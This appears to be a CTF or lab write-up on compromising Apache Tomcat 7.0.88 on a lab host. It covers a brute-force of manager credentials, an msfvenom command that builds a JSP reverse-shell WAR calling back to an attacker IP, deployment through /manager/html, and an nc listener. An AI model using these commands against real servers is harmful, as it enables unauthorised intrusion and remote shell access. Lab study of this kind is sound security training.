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# Tomcat WAR File
Tomcat manager weak credential brute force, WAR payload generation, deployment, and reverse shell notes.
Port 8080 hosts **Apache Tomcat**. `whatweb` identifies version **7.0.88**, which is known to be vulnerable.
### Fuite d'information
**Admin Panel Login**
Try accessing `/manager/html` with default credentials such as `admin:admin`, but it fails.
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**Credential Brute Force Attack**
Use the SecLists `tomcat-betterdefaultpasslist.txt` dictionary to brute force credentials:
Use a Python script to automate this task:
```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```
**Result:** The valid credentials are:/ `tomcat:s3cret`
### Vulnerability Tomcat:
**1. WAR file generation:**/ Use `msfvenom` to create a WAR file containing a reverse shell:
```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```
**2. Deployment through Tomcat Manager:**/ Upload the WAR file through `/manager/html`.
**3. Reverse shell listener:**/ Set up a listener to catch the reverse connection:
```bash
rlwrap nc -nlvp 443
```
Triggering the deployed file (`/reverse`) provides an interactive shell on the target.
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